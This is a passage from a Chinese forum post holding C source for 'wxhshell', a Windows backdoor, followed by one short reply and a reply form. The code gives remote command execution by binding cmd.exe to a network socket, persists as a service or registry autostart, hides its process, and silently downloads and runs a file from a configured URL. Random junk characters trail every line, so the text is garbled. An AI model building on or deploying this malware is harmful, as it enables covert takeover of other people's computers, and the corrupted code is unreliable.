  if(DownloadFile(cmd,wsh)) 6>s=Ci ZB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOKeEW<q  
  else ]s _@n!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); au}s=ua~i  
  } |!oXvXU  
  else { =C#*!N73  
G&jZ\IV  
    switch(cmd[0]) { G,B?&gFX  
  r4EoJyt  
  // 帮助 ~zMDY F"&  
  case '?': { n%*tMr9s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BO"qD[S  
    break; nz[ m3]  
  } zMr&1*CDX  
  // 安装 [NL -!  
  case 'i': { !f`5B( @  
    if(Install()) [$;,Ua-mt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=3? x  
    else V;k#})_-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l**3%cTb  
    break; %p*`h43;  
    } C#h76fpH  
  // 卸载 #4N >d~  
  case 'r': { p {?}g'  
    if(Uninstall()) (V)9s\Le_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'8)u)!  
    else 6i-*N[!U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )WmZP3$^TX  
    break; PF6 7z]<o  
    } M0YV Qa  
  // 显示 wxhshell 所在路径 b_+dNoB  
  case 'p': { 2R66 WK Q  
    char svExeFile[MAX_PATH]; r-&Rjg  
    strcpy(svExeFile,"\n\r"); klmRU@D  
      strcat(svExeFile,ExeFile); `dO)}}| y  
        send(wsh,svExeFile,strlen(svExeFile),0); d:cs8f4>  
    break; 5v >0$Y{  
    } q,w8ca 4~y  
  // 重启 8h  
  case 'b': { L 1iA ^ x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A Ch!D>C1  
    if(Boot(REBOOT)) -LI^(_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/IDj2C4  
    else { XUTI0  
    closesocket(wsh); DC4O@"  
    ExitThread(0); _+7 3Y'  
    } Y7g^ ?6  
    break; =|_:H$94  
    } -T3 z@k  
  // 关机 =aR'S\<  
  case 'd': { Z.TYi~d/9D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pxy=edd  
    if(Boot(SHUTDOWN)) JG\T2/b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|ZC2Zu<  
    else { `p0+j  
    closesocket(wsh); ++=t|ZS U  
    ExitThread(0); ]Y@Db5S$T  
    } Z3X/SQ'0  
    break; X!#rw= Q  
    } v0W w~4|],  
  // 获取shell g$$i WC!S<  
  case 's': { {8`V5:  
    CmdShell(wsh); 6vy(@z  
    closesocket(wsh); =pSuyM'  
    ExitThread(0); ,rkY1w-  
    break; - "`5r6  
  } HQqnJ;ns<  
  // 退出 X <QSi   
  case 'x': { wtlIyE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;n1< 1M>!  
    CloseIt(wsh); >.'rN>B+  
    break; Ldqn<wNnI  
    } =*<Cw?Gc  
  // 离开 Xo^P=uf%  
  case 'q': { 7:iTx;,v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _gDEIoBp  
    closesocket(wsh); {6}H}_( ]  
    WSACleanup(); \o}m]v i  
    exit(1); A9qbE  
    break; 5A^$!q P  
        } 3jH-!M5  
  } 3 ,;;C(  
  } Lso4Z Z;  
i~1bfl   
  // 提示信息 Fb8~2N"3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wNQhz.>y  
} sv}k_6XgY  
  } ?VUW.-  
e\o>(is  
  return; -36pkC 6 \  
} LEu_RU?  
k/'>,WE  
// shell模块句柄 l} \q }7\)  
int CmdShell(SOCKET sock) cPu<:<F[  
{ 0i%r+_E_  
STARTUPINFO si; SbrKNADH%  
ZeroMemory(&si,sizeof(si)); vq(ElXTO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9&]g2iT P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  %<[?;  
PROCESS_INFORMATION ProcessInfo; /4K ^-  
char cmdline[]="cmd"; DNYJR]>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h zv4+1Wd[  
  return 0; u Uy~$>V  
} ,dyCuH!B  
  %4  
// 自身启动模式 {|:ro!&  
int StartFromService(void) 9:[L WT&  
{ 6d%V=1^F  
typedef struct Eu;f~ V  
{ Tw`n3y?  
  DWORD ExitStatus; $eqwn&$n  
  DWORD PebBaseAddress; p>9-Ga  
  DWORD AffinityMask; ) H HBf<  
  DWORD BasePriority; ON r}{T%@/  
  ULONG UniqueProcessId; PRTn~!Z0  
  ULONG InheritedFromUniqueProcessId; ePD~SO9*  
}   PROCESS_BASIC_INFORMATION; '+8`3['  
yxz)32B?  
PROCNTQSIP NtQueryInformationProcess; Wra$  
u( kacQ7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^}VAH#c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jPum2U_  
J]m[0g7O_  
  HANDLE             hProcess; @cc4]>4  
  PROCESS_BASIC_INFORMATION pbi; CRpMpPi@}  
+c+i~5B4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j2dptM3t{  
  if(NULL == hInst ) return 0; Wjf,AjL\  
J/T$.*X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |:[ [w&R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IXA3G7$)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V$OZC;4  
)c; YR}tC  
  if (!NtQueryInformationProcess) return 0; 3$TU2-x;g  
0 UbY0sYo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p]lZ4#3  
  if(!hProcess) return 0; o$Jop"To  
,\]`X7r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WciL zx/  
)fGIe rS  
  CloseHandle(hProcess); 3 *g>kRMJ  
[p:mja.6y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q2SlK8`QJ  
if(hProcess==NULL) return 0; bxXNv^  
s+omCr|H;A  
HMODULE hMod; \jHHj\LLr.  
char procName[255]; +xL*`fn  
unsigned long cbNeeded; v-utDQT3  
eI#b%h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $F#eD 0|  
X`s6lV%\  
  CloseHandle(hProcess); / %9DO  
dm:2:A8^  
if(strstr(procName,"services")) return 1; // 以服务启动 CW+]Jv]"  
7kT&}`g.  
  return 0; // 注册表启动 g##yR/L  
} &%=]lP]  
GxynLXWo>  
// 主模块 mD"[z}r)  
int StartWxhshell(LPSTR lpCmdLine) aS $ J `  
{ 8aMmz!S  
  SOCKET wsl; ^T< HD  
BOOL val=TRUE; C" 2K U*  
  int port=0; ?cvV~&$gc  
  struct sockaddr_in door; # 9@K  
JjC& io  
  if(wscfg.ws_autoins) Install(); .Xcf *$.;s  
N~)RR {$w  
port=atoi(lpCmdLine); 1Z_2s2`p  
@?/>$  
if(port<=0) port=wscfg.ws_port; g)**)mz[  
h(4&!x  
  WSADATA data; 86f8b{_e"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hf1h*x^J  
} b/Xui9Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b+tm[@|,v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S0]JeP+3!  
  door.sin_family = AF_INET; n5z";:p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,T;T %/ S  
  door.sin_port = htons(port); }7+`[g  
LUfo@R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MD+e!A#o  
closesocket(wsl); C lWxL#L6~  
return 1;   B'QcD  
} PZYVLUw `  
i$jzn ga  
  if(listen(wsl,2) == INVALID_SOCKET) { ,w|Or}h]7  
closesocket(wsl); x4Wu`-4^  
return 1; wN2D{Jj  
} zS/1v+  
  Wxhshell(wsl); VC.zmCglo^  
  WSACleanup(); XbYST%| .  
h{/lW#[  
return 0; ur| vh5  
2SRmh!hr  
} l\"wdS}  
,1e\}^  
// 以NT服务方式启动 -& T.rsp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bqcwZ6r<  
{ Fu\!'\6  
DWORD   status = 0; OeYZLC(  
  DWORD   specificError = 0xfffffff; $X ]t}=  
go!jx6~;x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hEk0MY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,b,t^xX>)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y0;66bfh}  
  serviceStatus.dwWin32ExitCode     = 0; GbfA-\  
  serviceStatus.dwServiceSpecificExitCode = 0; i0g/'ZP  
  serviceStatus.dwCheckPoint       = 0; I2^@>/p8\(  
  serviceStatus.dwWaitHint       = 0; 'X P  
S '(K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8o\KF(I  
  if (hServiceStatusHandle==0) return; B.F~/PET  
T;1aL4w"  
status = GetLastError(); f|NWn`#bY  
  if (status!=NO_ERROR) tBtmqxx  
{ #VU>Z|$@N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XgPZcOzYB  
    serviceStatus.dwCheckPoint       = 0; Rxl/)H[Lc"  
    serviceStatus.dwWaitHint       = 0; 6 vr8rJ-  
    serviceStatus.dwWin32ExitCode     = status; nPg,(8Tt  
    serviceStatus.dwServiceSpecificExitCode = specificError; YtFH@M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ()ZP =\L  
    return; X(qs]:  
  } iM +p{ /bN  
.gs:.X)TG9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (RafidiH  
  serviceStatus.dwCheckPoint       = 0; :} N;OS_  
  serviceStatus.dwWaitHint       = 0; }:1*@7eR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +BgUnu26  
} Lj Y@b  
<uXQT$@?  
// 处理NT服务事件,比如:启动、停止 @s8wYcW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5fuYva >Ik  
{ V1 {'d[E*  
switch(fdwControl) P:k!dRb9{  
{ j*L-sU  
case SERVICE_CONTROL_STOP: ueu=$.^;g  
  serviceStatus.dwWin32ExitCode = 0; ~^v*f   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; / 0y5/  
  serviceStatus.dwCheckPoint   = 0; jVInTR0f[  
  serviceStatus.dwWaitHint     = 0; ofy)}/i  
  { wY{!gQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @tVl8]y  
  } +x)x&;B)/  
  return; h{.x:pPXy  
case SERVICE_CONTROL_PAUSE: .&;:X )  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GN=-dLN  
  break; ~4=XYYcka  
case SERVICE_CONTROL_CONTINUE: ZL+46fj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  G4{TJ,~  
  break; XEb+Z7L1  
case SERVICE_CONTROL_INTERROGATE: T&u25"QOf  
  break; Y8Z-m (OQ  
}; %R@&8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 adF) mh  
} %Zi}sm1t  
3&5AbIZ  
// 标准应用程序主函数 [9,34/i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;s!GpO7+  
{ #/o1D^  
G&@vTcF  
// 获取操作系统版本 P.'$L\  
OsIsNt=GetOsVer(); naiy] oY"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z18<rj  
TQsTL2a  
  // 从命令行安装 Z1sRLkR^  
  if(strpbrk(lpCmdLine,"iI")) Install(); _GsHT\  
tW=oAy  
  // 下载执行文件 t&nK5p95(  
if(wscfg.ws_downexe) { b0h>q$b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H':0  
  WinExec(wscfg.ws_filenam,SW_HIDE); bw*D!mm,  
} ~'t+X  
c'uDK>  
if(!OsIsNt) { =:(<lKf,<F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Azag*M?  
HideProc(); G[s/M\l  
StartWxhshell(lpCmdLine); n*y@3.  
} wOrpp3I  
else Gn>~CoFN  
  if(StartFromService()) '$Fu3%ft  
  // 以服务方式启动 )mE67{YJh~  
  StartServiceCtrlDispatcher(DispatchTable); mL]5Tnc  
else eGi|S'L'  
  // 普通方式启动 Ep8 y  
  StartWxhshell(lpCmdLine); MUR Hv3  
Z.3*sp0 yv  
return 0; $##LSTA  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八